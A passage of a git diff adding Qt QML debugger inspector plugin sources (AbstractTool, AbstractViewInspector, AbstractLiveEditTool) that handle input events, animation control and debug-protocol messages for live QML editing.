+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef ABSTRACTTOOL_H
+#define ABSTRACTTOOL_H
+
+#include <QtCore/QObject>
+
+QT_BEGIN_NAMESPACE
+class QMouseEvent;
+class QKeyEvent;
+class QWheelEvent;
+QT_END_NAMESPACE
+
+namespace QmlJSDebugger {
+
+class AbstractViewInspector;
+
+class AbstractTool : public QObject
+{
+ Q_OBJECT
+
+public:
+ explicit AbstractTool(AbstractViewInspector *inspector);
+
+ AbstractViewInspector *inspector() const { return m_inspector; }
+
+ virtual void leaveEvent(QEvent *event) = 0;
+
+ virtual void mousePressEvent(QMouseEvent *event) = 0;
+ virtual void mouseMoveEvent(QMouseEvent *event) = 0;
+ virtual void mouseReleaseEvent(QMouseEvent *event) = 0;
+ virtual void mouseDoubleClickEvent(QMouseEvent *event) = 0;
+
+ virtual void hoverMoveEvent(QMouseEvent *event) = 0;
+ virtual void wheelEvent(QWheelEvent *event) = 0;
+
+ virtual void keyPressEvent(QKeyEvent *event) = 0;
+ virtual void keyReleaseEvent(QKeyEvent *keyEvent) = 0;
+
+private:
+ AbstractViewInspector *m_inspector;
+};
+
+} // namespace QmlJSDebugger
+
+#endif // ABSTRACTTOOL_H
diff --git a/src/plugins/qmltooling/qmldbg_inspector/abstractviewinspector.cpp b/src/plugins/qmltooling/qmldbg_inspector/abstractviewinspector.cpp
new file mode 100644
index 00000000..c5e127c1
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/abstractviewinspector.cpp
@@ -0,0 +1,511 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "abstractviewinspector.h"
+
+#include "abstracttool.h"
+#include "qdeclarativeinspectorprotocol.h"
+
+#include <QtDeclarative/QDeclarativeEngine>
+#include <QtDeclarative/QDeclarativeComponent>
+#include <QtDeclarative/private/qdeclarativedebughelper_p.h>
+#include "QtDeclarative/private/qdeclarativeinspectorservice_p.h"
+
+#include <QtGui/QVBoxLayout>
+#include <QtGui/QMouseEvent>
+#include <QtGui/QWidget>
+
+namespace QmlJSDebugger {
+
+AbstractViewInspector::AbstractViewInspector(QObject *parent) :
+ QObject(parent),
+ m_currentTool(0),
+ m_showAppOnTop(false),
+ m_designModeBehavior(false),
+ m_animationPaused(false),
+ m_slowDownFactor(1.0),
+ m_debugService(0)
+{
+ m_debugService = QDeclarativeInspectorService::instance();
+ connect(m_debugService, SIGNAL(gotMessage(QByteArray)),
+ this, SLOT(handleMessage(QByteArray)));
+}
+
+void AbstractViewInspector::createQmlObject(const QString &qml, QObject *parent,
+ const QStringList &importList,
+ const QString &filename)
+{
+ if (!parent)
+ return;
+
+ QString imports;
+ foreach (const QString &s, importList) {
+ imports += s;
+ imports += QLatin1Char('\n');
+ }
+
+ QDeclarativeContext *parentContext = declarativeEngine()->contextForObject(parent);
+ QDeclarativeComponent component(declarativeEngine());
+ QByteArray constructedQml = QString(imports + qml).toLatin1();
+
+ component.setData(constructedQml, QUrl::fromLocalFile(filename));
+ QObject *newObject = component.create(parentContext);
+ if (newObject)
+ reparentQmlObject(newObject, parent);
+}
+
+void AbstractViewInspector::clearComponentCache()
+{
+ declarativeEngine()->clearComponentCache();
+}
+
+void AbstractViewInspector::setDesignModeBehavior(bool value)
+{
+ if (m_designModeBehavior == value)
+ return;
+
+ m_designModeBehavior = value;
+ emit designModeBehaviorChanged(value);
+ sendDesignModeBehavior(value);
+}
+
+void AbstractViewInspector::setAnimationSpeed(qreal slowDownFactor)
+{
+ Q_ASSERT(slowDownFactor > 0);
+ if (m_slowDownFactor == slowDownFactor)
+ return;
+
+ animationSpeedChangeRequested(slowDownFactor);
+ sendAnimationSpeed(slowDownFactor);
+}
+
+void AbstractViewInspector::setAnimationPaused(bool paused)
+{
+ if (m_animationPaused == paused)
+ return;
+
+ animationPausedChangeRequested(paused);
+ sendAnimationPaused(paused);
+}
+
+void AbstractViewInspector::animationSpeedChangeRequested(qreal factor)
+{
+ if (m_slowDownFactor != factor) {
+ m_slowDownFactor = factor;
+ emit animationSpeedChanged(factor);
+ }
+
+ const float effectiveFactor = m_animationPaused ? 0 : factor;
+ QDeclarativeDebugHelper::setAnimationSlowDownFactor(effectiveFactor);
+}
+
+void AbstractViewInspector::animationPausedChangeRequested(bool paused)
+{
+ if (m_animationPaused != paused) {
+ m_animationPaused = paused;
+ emit animationPausedChanged(paused);
+ }
+
+ const float effectiveFactor = paused ? 0 : m_slowDownFactor;
+ QDeclarativeDebugHelper::setAnimationSlowDownFactor(effectiveFactor);
+}
+
+void AbstractViewInspector::setShowAppOnTop(bool appOnTop)
+{
+ if (viewWidget()) {
+ QWidget *window = viewWidget()->window();
+ Qt::WindowFlags flags = window->windowFlags();
+ if (appOnTop)
+ flags |= Qt::WindowStaysOnTopHint;
+ else
+ flags &= ~Qt::WindowStaysOnTopHint;
+
+ window->setWindowFlags(flags);
+ window->show();
+ }
+
+ m_showAppOnTop = appOnTop;
+ sendShowAppOnTop(appOnTop);
+
+ emit showAppOnTopChanged(appOnTop);
+}
+
+void AbstractViewInspector::changeToColorPickerTool()
+{
+ changeTool(InspectorProtocol::ColorPickerTool);
+}
+
+void AbstractViewInspector::changeToZoomTool()
+{
+ changeTool(InspectorProtocol::ZoomTool);
+}
+
+void AbstractViewInspector::changeToSingleSelectTool()
+{
+ changeTool(InspectorProtocol::SelectTool);
+}
+
+void AbstractViewInspector::changeToMarqueeSelectTool()
+{
+ changeTool(InspectorProtocol::SelectMarqueeTool);
+}
+
+bool AbstractViewInspector::eventFilter(QObject *obj, QEvent *event)
+{
+ if (!designModeBehavior())
+ return QObject::eventFilter(obj, event);
+
+ switch (event->type()) {
+ case QEvent::Leave:
+ if (leaveEvent(event))
+ return true;
+ break;
+ case QEvent::MouseButtonPress:
+ if (mousePressEvent(static_cast<QMouseEvent*>(event)))
+ return true;
+ break;
+ case QEvent::MouseMove:
+ if (mouseMoveEvent(static_cast<QMouseEvent*>(event)))
+ return true;
+ break;
+ case QEvent::MouseButtonRelease:
+ if (mouseReleaseEvent(static_cast<QMouseEvent*>(event)))
+ return true;
+ break;
+ case QEvent::KeyPress:
+ if (keyPressEvent(static_cast<QKeyEvent*>(event)))
+ return true;
+ break;
+ case QEvent::KeyRelease:
+ if (keyReleaseEvent(static_cast<QKeyEvent*>(event)))
+ return true;
+ break;
+ case QEvent::MouseButtonDblClick:
+ if (mouseDoubleClickEvent(static_cast<QMouseEvent*>(event)))
+ return true;
+ break;
+ case QEvent::Wheel:
+ if (wheelEvent(static_cast<QWheelEvent*>(event)))
+ return true;
+ break;
+ default:
+ break;
+ }
+
+ return QObject::eventFilter(obj, event);
+}
+
+bool AbstractViewInspector::leaveEvent(QEvent *event)
+{
+ m_currentTool->leaveEvent(event);
+ return true;
+}
+
+bool AbstractViewInspector::mousePressEvent(QMouseEvent *event)
+{
+ m_currentTool->mousePressEvent(event);
+ return true;
+}
+
+bool AbstractViewInspector::mouseMoveEvent(QMouseEvent *event)
+{
+ if (event->buttons()) {
+ m_currentTool->mouseMoveEvent(event);
+ } else {
+ m_currentTool->hoverMoveEvent(event);
+ }
+ return true;
+}
+
+bool AbstractViewInspector::mouseReleaseEvent(QMouseEvent *event)
+{
+ m_currentTool->mouseReleaseEvent(event);
+ return true;
+}
+
+bool AbstractViewInspector::keyPressEvent(QKeyEvent *event)
+{
+ m_currentTool->keyPressEvent(event);
+ return true;
+}
+
+bool AbstractViewInspector::keyReleaseEvent(QKeyEvent *event)
+{
+ switch (event->key()) {
+ case Qt::Key_V:
+ changeTool(InspectorProtocol::SelectTool);
+ break;
+// disabled because multiselection does not do anything useful without design mode
+// case Qt::Key_M:
+// changeTool(InspectorProtocol::SelectMarqueeTool);
+// break;
+ case Qt::Key_I:
+ changeTool(InspectorProtocol::ColorPickerTool);
+ break;
+ case Qt::Key_Z:
+ changeTool(InspectorProtocol::ZoomTool);
+ break;
+ case Qt::Key_Space:
+ setAnimationPaused(!animationPaused());
+ break;
+ default:
+ break;
+ }
+
+ m_currentTool->keyReleaseEvent(event);
+ return true;
+}
+
+bool AbstractViewInspector::mouseDoubleClickEvent(QMouseEvent *event)
+{
+ m_currentTool->mouseDoubleClickEvent(event);
+ return true;
+}
+
+bool AbstractViewInspector::wheelEvent(QWheelEvent *event)
+{
+ m_currentTool->wheelEvent(event);
+ return true;
+}
+
+void AbstractViewInspector::handleMessage(const QByteArray &message)
+{
+ QDataStream ds(message);
+
+ InspectorProtocol::Message type;
+ ds >> type;
+
+ switch (type) {
+ case InspectorProtocol::SetCurrentObjects: {
+ int itemCount = 0;
+ ds >> itemCount;
+
+ QList<QObject*> selectedObjects;
+ for (int i = 0; i < itemCount; ++i) {
+ int debugId = -1;
+ ds >> debugId;
+ if (QObject *obj = QDeclarativeDebugService::objectForId(debugId))
+ selectedObjects << obj;
+ }
+
+ changeCurrentObjects(selectedObjects);
+ break;
+ }
+ case InspectorProtocol::Reload: {
+ reloadView();
+ break;
+ }
+ case InspectorProtocol::SetAnimationSpeed: {
+ qreal speed;
+ ds >> speed;
+ animationSpeedChangeRequested(speed);
+ break;
+ }
+ case InspectorProtocol::SetAnimationPaused: {
+ bool paused;
+ ds >> paused;
+ animationPausedChangeRequested(paused);
+ break;
+ }
+ case InspectorProtocol::ChangeTool: {
+ InspectorProtocol::Tool tool;
+ ds >> tool;
+ changeTool(tool);
+ break;
+ }
+ case InspectorProtocol::SetDesignMode: {
+ bool inDesignMode;
+ ds >> inDesignMode;
+ setDesignModeBehavior(inDesignMode);
+ break;
+ }
+ case InspectorProtocol::ShowAppOnTop: {
+ bool showOnTop;
+ ds >> showOnTop;
+ setShowAppOnTop(showOnTop);
+ break;
+ }
+ case InspectorProtocol::CreateObject: {
+ QString qml;
+ int parentId;
+ QString filename;
+ QStringList imports;
+ ds >> qml >> parentId >> imports >> filename;
+ createQmlObject(qml, QDeclarativeDebugService::objectForId(parentId),
+ imports, filename);
+ break;
+ }
+ case InspectorProtocol::DestroyObject: {
+ int debugId;
+ ds >> debugId;
+ if (QObject *obj = QDeclarativeDebugService::objectForId(debugId))
+ obj->deleteLater();
+ break;
+ }
+ case InspectorProtocol::MoveObject: {
+ int debugId, newParent;
+ ds >> debugId >> newParent;
+ reparentQmlObject(QDeclarativeDebugService::objectForId(debugId),
+ QDeclarativeDebugService::objectForId(newParent));
+ break;
+ }
+ case InspectorProtocol::ObjectIdList: {
+ int itemCount;
+ ds >> itemCount;
+ m_stringIdForObjectId.clear();
+ for (int i = 0; i < itemCount; ++i) {
+ int itemDebugId;
+ QString itemIdString;
+ ds >> itemDebugId
+ >> itemIdString;
+
+ m_stringIdForObjectId.insert(itemDebugId, itemIdString);
+ }
+ break;
+ }
+ case InspectorProtocol::ClearComponentCache: {
+ clearComponentCache();
+ break;
+ }
+ default:
+ qWarning() << "Warning: Not handling message:" << type;
+ }
+}
+
+void AbstractViewInspector::sendDesignModeBehavior(bool inDesignMode)
+{
+ QByteArray message;
+ QDataStream ds(&message, QIODevice::WriteOnly);
+
+ ds << InspectorProtocol::SetDesignMode
+ << inDesignMode;
+
+ m_debugService->sendMessage(message);
+}
+
+void AbstractViewInspector::sendCurrentObjects(const QList<QObject*> &objects)
+{
+ QByteArray message;
+ QDataStream ds(&message, QIODevice::WriteOnly);
+
+ ds << InspectorProtocol::CurrentObjectsChanged
+ << objects.length();
+
+ foreach (QObject *object, objects) {
+ int id = QDeclarativeDebugService::idForObject(object);
+ ds << id;
+ }
+
+ m_debugService->sendMessage(message);
+}
+
+void AbstractViewInspector::sendCurrentTool(Constants::DesignTool toolId)
+{
+ QByteArray message;
+ QDataStream ds(&message, QIODevice::WriteOnly);
+
+ ds << InspectorProtocol::ToolChanged
+ << toolId;
+
+ m_debugService->sendMessage(message);
+}
+
+void AbstractViewInspector::sendAnimationSpeed(qreal slowDownFactor)
+{
+ QByteArray message;
+ QDataStream ds(&message, QIODevice::WriteOnly);
+
+ ds << InspectorProtocol::AnimationSpeedChanged
+ << slowDownFactor;
+
+ m_debugService->sendMessage(message);
+}
+
+void AbstractViewInspector::sendAnimationPaused(bool paused)
+{
+ QByteArray message;
+ QDataStream ds(&message, QIODevice::WriteOnly);
+
+ ds << InspectorProtocol::AnimationPausedChanged
+ << paused;
+
+ m_debugService->sendMessage(message);
+}
+
+void AbstractViewInspector::sendReloaded()
+{
+ QByteArray message;
+ QDataStream ds(&message, QIODevice::WriteOnly);
+
+ ds << InspectorProtocol::Reloaded;
+
+ m_debugService->sendMessage(message);
+}
+
+void AbstractViewInspector::sendShowAppOnTop(bool showAppOnTop)
+{
+ QByteArray message;
+ QDataStream ds(&message, QIODevice::WriteOnly);
+
+ ds << InspectorProtocol::ShowAppOnTop << showAppOnTop;
+
+ m_debugService->sendMessage(message);
+}
+
+void AbstractViewInspector::sendColorChanged(const QColor &color)
+{
+ QByteArray message;
+ QDataStream ds(&message, QIODevice::WriteOnly);
+
+ ds << InspectorProtocol::ColorChanged
+ << color;
+
+ m_debugService->sendMessage(message);
+}
+
+QString AbstractViewInspector::idStringForObject(QObject *obj) const
+{
+ const int id = QDeclarativeDebugService::idForObject(obj);
+ return m_stringIdForObjectId.value(id);
+}
+
+} // namespace QmlJSDebugger
+
diff --git a/src/plugins/qmltooling/qmldbg_inspector/abstractviewinspector.h b/src/plugins/qmltooling/qmldbg_inspector/abstractviewinspector.h
new file mode 100644
index 00000000..700476f9
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/abstractviewinspector.h
@@ -0,0 +1,173 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef ABSTRACTVIEWINSPECTOR_H
+#define ABSTRACTVIEWINSPECTOR_H
+
+#include <QtCore/QHash>
+#include <QtCore/QObject>
+#include <QtCore/QStringList>
+#include <QtGui/QColor>
+
+#include "qdeclarativeinspectorprotocol.h"
+#include "qmlinspectorconstants.h"
+
+QT_BEGIN_NAMESPACE
+class QDeclarativeEngine;
+class QDeclarativeInspectorService;
+class QKeyEvent;
+class QMouseEvent;
+class QWheelEvent;
+QT_END_NAMESPACE
+
+namespace QmlJSDebugger {
+
+class AbstractTool;
+
+/*
+ * The common code between QSGView and QDeclarativeView inspectors lives here,
+ */
+class AbstractViewInspector : public QObject
+{
+ Q_OBJECT
+
+public:
+ explicit AbstractViewInspector(QObject *parent = 0);
+
+ virtual void changeCurrentObjects(const QList<QObject*> &objects) = 0;
+
+ virtual void reloadView() = 0;
+
+ void createQmlObject(const QString &qml, QObject *parent,
+ const QStringList &importList,
+ const QString &filename = QString());
+
+ virtual void reparentQmlObject(QObject *object, QObject *newParent) = 0;
+
+ virtual void changeTool(InspectorProtocol::Tool tool) = 0;
+
+ void clearComponentCache();
+
+ virtual QWidget *viewWidget() const = 0;
+ virtual QDeclarativeEngine *declarativeEngine() const = 0;
+
+
+ bool showAppOnTop() const { return m_showAppOnTop; }
+ bool designModeBehavior() const { return m_designModeBehavior; }
+
+ bool animationPaused() const { return m_animationPaused; }
+ qreal slowDownFactor() const { return m_slowDownFactor; }
+
+ void sendCurrentObjects(const QList<QObject*> &);
+ void sendAnimationSpeed(qreal slowDownFactor);
+ void sendAnimationPaused(bool paused);
+ void sendCurrentTool(Constants::DesignTool toolId);
+ void sendReloaded();
+ void sendShowAppOnTop(bool showAppOnTop);
+
+ QString idStringForObject(QObject *obj) const;
+
+public slots:
+ void sendDesignModeBehavior(bool inDesignMode);
+ void sendColorChanged(const QColor &color);
+
+ void changeToColorPickerTool();
+ void changeToZoomTool();
+ void changeToSingleSelectTool();
+ void changeToMarqueeSelectTool();
+
+ virtual void setDesignModeBehavior(bool value);
+
+ void setShowAppOnTop(bool appOnTop);
+
+ void setAnimationSpeed(qreal factor);
+ void setAnimationPaused(bool paused);
+
+signals:
+ void designModeBehaviorChanged(bool inDesignMode);
+ void showAppOnTopChanged(bool showAppOnTop);
+ void reloadRequested();
+ void marqueeSelectToolActivated();
+ void selectToolActivated();
+ void zoomToolActivated();
+ void colorPickerActivated();
+ void selectedColorChanged(const QColor &color);
+
+ void animationSpeedChanged(qreal factor);
+ void animationPausedChanged(bool paused);
+
+protected:
+ bool eventFilter(QObject *, QEvent *);
+
+ virtual bool leaveEvent(QEvent *);
+ virtual bool mousePressEvent(QMouseEvent *event);
+ virtual bool mouseMoveEvent(QMouseEvent *event);
+ virtual bool mouseReleaseEvent(QMouseEvent *event);
+ virtual bool keyPressEvent(QKeyEvent *event);
+ virtual bool keyReleaseEvent(QKeyEvent *keyEvent);
+ virtual bool mouseDoubleClickEvent(QMouseEvent *event);
+ virtual bool wheelEvent(QWheelEvent *event);
+
+ AbstractTool *currentTool() const { return m_currentTool; }
+ void setCurrentTool(AbstractTool *tool) { m_currentTool = tool; }
+
+private slots:
+ void handleMessage(const QByteArray &message);
+
+private:
+ void animationSpeedChangeRequested(qreal factor);
+ void animationPausedChangeRequested(bool paused);
+
+ AbstractTool *m_currentTool;
+
+ bool m_showAppOnTop;
+ bool m_designModeBehavior;
+
+ bool m_animationPaused;
+ qreal m_slowDownFactor;
+
+ QHash<int, QString> m_stringIdForObjectId;
+ QDeclarativeInspectorService *m_debugService;
+};
+
+} // namespace QmlJSDebugger
+
+#endif // ABSTRACTVIEWINSPECTOR_H
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/abstractliveedittool.cpp b/src/plugins/qmltooling/qmldbg_inspector/editor/abstractliveedittool.cpp
new file mode 100644
index 00000000..9c2f70c4
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/abstractliveedittool.cpp
@@ -0,0 +1,196 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "abstractliveedittool.h"
+#include "../qdeclarativeviewinspector_p.h"
+
+#include <QDeclarativeEngine>
+
+#include <QtDebug>
+#include <QGraphicsItem>
+#include <QDeclarativeItem>
+
+namespace QmlJSDebugger {
+
+AbstractLiveEditTool::AbstractLiveEditTool(QDeclarativeViewInspector *editorView)
+ : AbstractTool(editorView)
+{
+}
+
+
+AbstractLiveEditTool::~AbstractLiveEditTool()
+{
+}
+
+QDeclarativeViewInspector *AbstractLiveEditTool::inspector() const
+{
+ return static_cast<QDeclarativeViewInspector*>(AbstractTool::inspector());
+}
+
+QDeclarativeView *AbstractLiveEditTool::view() const
+{
+ return inspector()->declarativeView();
+}
+
+QGraphicsScene* AbstractLiveEditTool::scene() const
+{
+ return view()->scene();
+}
+
+void AbstractLiveEditTool::updateSelectedItems()
+{
+ selectedItemsChanged(items());
+}
+
+QList<QGraphicsItem*> AbstractLiveEditTool::items() const
+{
+ return inspector()->selectedItems();
+}
+
+bool AbstractLiveEditTool::topItemIsMovable(const QList<QGraphicsItem*> & itemList)
+{
+ QGraphicsItem *firstSelectableItem = topMovableGraphicsItem(itemList);
+ if (firstSelectableItem == 0)
+ return false;
+ if (toQDeclarativeItem(firstSelectableItem) != 0)
+ return true;
+
+ return false;
+
+}
+
+bool AbstractLiveEditTool::topSelectedItemIsMovable(const QList<QGraphicsItem*> &itemList)
+{
+ QList<QGraphicsItem*> selectedItems = inspector()->selectedItems();
+
+ foreach (QGraphicsItem *item, itemList) {
+ QDeclarativeItem *declarativeItem = toQDeclarativeItem(item);
+ if (declarativeItem
+ && selectedItems.contains(declarativeItem)
+ /*&& (declarativeItem->qmlItemNode().hasShowContent() || selectNonContentItems)*/)
+ return true;
+ }
+
+ return false;
+
+}
+
+bool AbstractLiveEditTool::topItemIsResizeHandle(const QList<QGraphicsItem*> &/*itemList*/)
+{
+ return false;
+}
+
+QDeclarativeItem *AbstractLiveEditTool::toQDeclarativeItem(QGraphicsItem *item)
+{
+ return qobject_cast<QDeclarativeItem*>(item->toGraphicsObject());
+}
+
+QGraphicsItem *AbstractLiveEditTool::topMovableGraphicsItem(const QList<QGraphicsItem*> &itemList)
+{
+ foreach (QGraphicsItem *item, itemList) {
+ if (item->flags().testFlag(QGraphicsItem::ItemIsMovable))
+ return item;
+ }
+ return 0;
+}
+
+QDeclarativeItem *AbstractLiveEditTool::topMovableDeclarativeItem(const QList<QGraphicsItem*>
+ &itemList)
+{
+ foreach (QGraphicsItem *item, itemList) {
+ QDeclarativeItem *declarativeItem = toQDeclarativeItem(item);
+ if (declarativeItem /*&& (declarativeItem->qmlItemNode().hasShowContent())*/)
+ return declarativeItem;
+ }
+
+ return 0;
+}
+
+QList<QGraphicsObject*> AbstractLiveEditTool::toGraphicsObjectList(const QList<QGraphicsItem*>
+ &itemList)
+{
+ QList<QGraphicsObject*> gfxObjects;
+ foreach (QGraphicsItem *item, itemList) {
+ QGraphicsObject *obj = item->toGraphicsObject();
+ if (obj)
+ gfxObjects << obj;
+ }
+
+ return gfxObjects;
+}
+
+QString AbstractLiveEditTool::titleForItem(QGraphicsItem *item)
+{
+ QString className(QLatin1String("QGraphicsItem"));
+ QString objectStringId;
+
+ QString constructedName;
+
+ QGraphicsObject *gfxObject = item->toGraphicsObject();
+ if (gfxObject) {
+ className = QLatin1String(gfxObject->metaObject()->className());
+
+ className.remove(QRegExp(QLatin1String("_QMLTYPE_\\d+")));
+ className.remove(QRegExp(QLatin1String("_QML_\\d+")));
+ if (className.startsWith(QLatin1String("QDeclarative")))
+ className = className.remove(QLatin1String("QDeclarative"));
+
+ QDeclarativeItem *declarativeItem = qobject_cast<QDeclarativeItem*>(gfxObject);
+ if (declarativeItem) {
+ objectStringId = inspector()->idStringForObject(declarativeItem);
+ }
+
+ if (!objectStringId.isEmpty()) {
+ constructedName = objectStringId + QLatin1String(" (") + className + QLatin1Char(')');
+ } else {
+ if (!gfxObject->objectName().isEmpty()) {
+ constructedName = gfxObject->objectName() + QLatin1String(" (") + className + QLatin1Char(')');
+ } else {
+ constructedName = className;
+ }
+ }
+ }
+
+ return constructedName;
+}
+
+
+} // namespace QmlJSDebugger
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/abstractliveedittool.h b/src/plugins/qmltooling/qmldbg_inspector/editor/abstractliveedittool.h
new file mode 100644
index 00000000..f2996a10
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/abstractliveedittool.h
@@ -0,0 +1,104 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef ABSTRACTLIVEEDITTOOL_H
+#define ABSTRACTLIVEEDITTOOL_H
+
+#include <QtCore/QList>
+#include "../abstracttool.h"
+
+QT_BEGIN_NAMESPACE
+class QMouseEvent;
+class QGraphicsItem;
+class QDeclarativeItem;
+class QKeyEvent;
+class QGraphicsScene;
+class QGraphicsObject;
+class QWheelEvent;
+class QDeclarativeView;
+QT_END_NAMESPACE
+
+namespace QmlJSDebugger {
+
+class QDeclarativeViewInspector;
+
+class AbstractLiveEditTool : public AbstractTool
+{
+ Q_OBJECT
+public:
+ AbstractLiveEditTool(QDeclarativeViewInspector *inspector);
+
+ virtual ~AbstractLiveEditTool();
+
+ void leaveEvent(QEvent *) {}
+
+ virtual void itemsAboutToRemoved(const QList<QGraphicsItem*> &itemList) = 0;
+
+ virtual void clear() = 0;
+
+ void updateSelectedItems();
+ QList<QGraphicsItem*> items() const;
+
+ bool topItemIsMovable(const QList<QGraphicsItem*> &itemList);
+ bool topItemIsResizeHandle(const QList<QGraphicsItem*> &itemList);
+ bool topSelectedItemIsMovable(const QList<QGraphicsItem*> &itemList);
+
+ QString titleForItem(QGraphicsItem *item);
+
+ static QList<QGraphicsObject*> toGraphicsObjectList(const QList<QGraphicsItem*> &itemList);
+ static QGraphicsItem* topMovableGraphicsItem(const QList<QGraphicsItem*> &itemList);
+ static QDeclarativeItem* topMovableDeclarativeItem(const QList<QGraphicsItem*> &itemList);
